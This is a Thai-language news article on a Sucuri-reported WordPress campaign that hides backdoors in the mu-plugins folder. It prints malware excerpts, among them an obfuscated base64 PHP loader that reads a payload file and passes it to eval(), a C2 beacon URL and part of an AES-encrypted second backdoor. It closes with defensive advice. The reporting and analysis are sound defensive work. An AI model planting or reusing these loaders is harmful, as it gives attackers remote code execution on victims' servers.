Wordpress ถึงแม้จะเป็นเครื่องมือสร้างเว็บไซต์ที่ได้รับความนิยมสูง จากการที่มีเครื่องมือสนับสนุนมากมาย และมีฐานผู้ใช้งานที่แข็งแกร่ง แต่ในระยะหลังก็มักเป็นข่าวด้านการแฮ็ก ช่องโหว่ด้านความปลอดภัย และภัยจากมัลแวร์มากมาย และข่าวนี้คงเป็นข่าวร้ายของนักท่องเว็บ และผู้ใช้งาน Wordpress อีกครั้ง
จากรายงานโดยเว็บไซต์ Cyber Security News ได้รายงานถึงการตรวจพบแคมเปญในการแพร่มัลแวร์ใส่เว็บไซต์ที่ถูกสร้างขึ้นบน Wordpress โดยการค้นพบนี้เป็นผลงานของทีมวิจัยจาก Sucuri ซึ่งเป็นบริษัทผู้เชี่ยวชาญด้านการจัดการความปลอดภัยบนเว็บไซต์ ซึ่งทางทีมวิจัยได้ออกมาเปิดเผยว่า แคมเปญดังกล่าวนั้นแฮ็กเกอร์จะทำการซ่อนมัลแวร์ และเครื่องมือเปิดประตูหลังของระบบ (Backdoor) ไว้ใน Directory ของ "mu-plugins" หรือ Must Use Plugins ซึ่งเป็นโฟลเดอร์พิเศษที่ Plug In ต่าง ๆ ที่ติดตั้งบนโฟลเดอร์นี้จะถูกเรียกใช้งานอย่างอัตโนมัติ โดยการโจมตีในรูปแบบนี้จะนำไปสู่การยิงโค้ดจากระยะไกล (RCE หรือ Remote Code Execution) เพื่อเจาะเข้าควบคุม หรือขโมยข้อมูลจากเซิร์ฟเวอร์ของเหยื่อ
โดยภายในโฟลเดอร์ /wp-content/mu-plugins/ นั้น ทางทีมวิจัยได้พบว่าแฮ็กเกอร์ได้ทำการแทรกโค้ดตีรวนระบบรักษาความปลอดภัยไว้ในไฟล์ index.php ในรูปแบบโค้ด PHP ซึ่งมีลักษณะดังนี้
$a = 'ba'.'se' . '64_de'.'co'.'de';
$get_file = $a('ZmlsZV9nZXRfY29udGVudHM=', true);
$wp_get_content = $get_file($_SERVER['DOCUMENT_ROOT'].'/'.call_user_func($a,'d3AtY29udGVudC91cGxvYWRzLzIwMjQvMTIvaW5kZXgudHh0'));
$final = $a($wp_get_content, true);
eval('?>'.$final);
?>
ซึ่งเมื่อทำการถอดรหัสเรียบร้อย ตัวโค้ดจะทำงานเพื่อดึงโค้ด และรันมัลแวร์ (Payload) ที่อยู่ภายใน /wp-content/uploads/2024/12/index.txt เพื่อฝังมัลแวร์ลงไปยังเว็บไซต์ของเหยื่อในท้ายที่สุด
นอกจากนั้น ทางทีมวิจัยยังตรวจพบฟีเจอร์อื่น ๆ ที่ฝังอยู่ในมัลแวร์ไม่ว่าจะเป็น
การติดต่อสื่อสารการเซิร์ฟเวอร์ควบคุม (C2 หรือ Command and Control)
สำหรับฟีเจอร์นี้นั้นจะช่วยในการพรางตัวเพื่อทำการติดต่อสื่อสารกับเซิร์ฟเวอร์ C2 ระหว่างที่ตัวมัลแวร์กำลังตรวจสอบว่ามีเครื่องมือรักษาความปลอดภัยตัวไหนถูกติดตั้งอยู่บนเว็บไซต์บ้าง โดยตัวโค้ดจะเป็นไปตามลักษณะดังนี้
$xmlname = urldecode('162-er103-1.ivyrebl.fvgr');
$http = is_https() ? 'https' : 'http';
$web = $http.'://'.$goweb.'/index.php?web='.$host.'&zz='.(disbot() ? '1' : '0');
ควบคุมการทำงานของ Robot.txt
นอกจากนั้นแล้วยังมีการตรวจพบโค้ดสำหรับสร้าง Sitemap ปลอม เพื่อสนับสนุนการทำ SEO (Search Engine Optimization) ให้กับเว็บไซต์ที่มัลแวร์ฝังตัวอยู่อีกด้วย โดยตัวโค้ดดังกล่าวจะมีลักษณะดังนี้
$robotsPath = $_SERVER['DOCUMENT_ROOT'].'/robots.txt';
if (!file_exists($robotsPath)) {
file_put_contents($robotsPath, "User-agent: *nAllow: /nSitemap: ...");
}
กลไกรักษาการคงอยู่ในระบบของตัวมัลแวร์ (Persistence)
ไม่เพียงเท่านั้น ทางทีมวิจัยยังตรวจพบโด้ดที่ซ่อนอยู่ภายใน "test-muplugin.php" ซึ่งเป็นไฟล์ของเครื่องมือเปิดประตูหลังของระบบ (Backdoor) ตัวที่ 2 ซึ่งเป็นโค้ดที่ถูกเข้ารหัสในรูปแบบ AES-128-CBC ซึ่งโค้ดดังกล่าวนั้นจะทำหน้าที่ในการช่วยดึงมัลแวร์ (Payload) ลงมายังตัวเว็บไซต์ และ ดำเนินการโจมตีตามคำสั่งของแฮ็กเกอร์ (Command) ขณะเดียวกันก็ช่วยหลบการตรวจจับจากระบบป้องกันแบบ Signature-based ไปด้วยในเวลาเดียวกัน ซึ่งตัวโค้ดนั้นมีลักษณะดังนี้
$_7a5b = "l2UDM/1kihg+Pd50dO3hKCkDZKCBzafIvVT20a6iA3JU8Hmvdc+zphRj...";
function zwxyb($_7a5b, $_11f9) {
return openssl_decrypt($_7a5b, 'AES-128-CBC', substr(hash('sha256', $_11f9, true), 0, 16), 0, ...);
}
ในการทำงานของมัลแวร์ดังกล่าว หลังจากที่ฝังตัวลงบนเว็บไซต์สำเร็จ ก็จะทำการแพร่กระจายตัวเองไปยังเซิร์ฟเวอร์ต่าง ๆ ที่ติดต่อกับตัวเว็บไซต์อย่างรวดเร็ว อันจะนำไปสู่การโจมตีในรูปแบบอื่น ๆ เช่น การขโมยไฟล์ (Data Exfiltration), การใช้ทรัพยากรของระบบเพื่อขุดเหรียญคริปโตเคอร์เรนซี (Cryptominers), หรือแม้กระทั่งการวางมัลแวร์สำหรับเรียกค่าไถ่ หรือ Ransomware ลงบนระบบ
สำหรับวิธีการป้องกันนั้น ทางแหล่งข่าวได้แนะนำให้ทำการบล็อกการรันไฟล์ PHP จากโฟลเดอร์ต่าง ๆ ที่ถูกอัปโหลดขึ้น รวมไปถึงการเปลี่ยนรหัสของผู้ดูแลระบบ (Admin หรือ Administrator), FTP, และ ฐานข้อมูล (Database) ทั้งหมด และติดตั้ง Web-Application Firewall เพื่อป้องกันการถูกเข้าถึงจากบุคคลภายนอก พร้อมทั้งทำการจับตาดูโฟลเดอร์ mu-plugins อย่างใกล้ชิด
|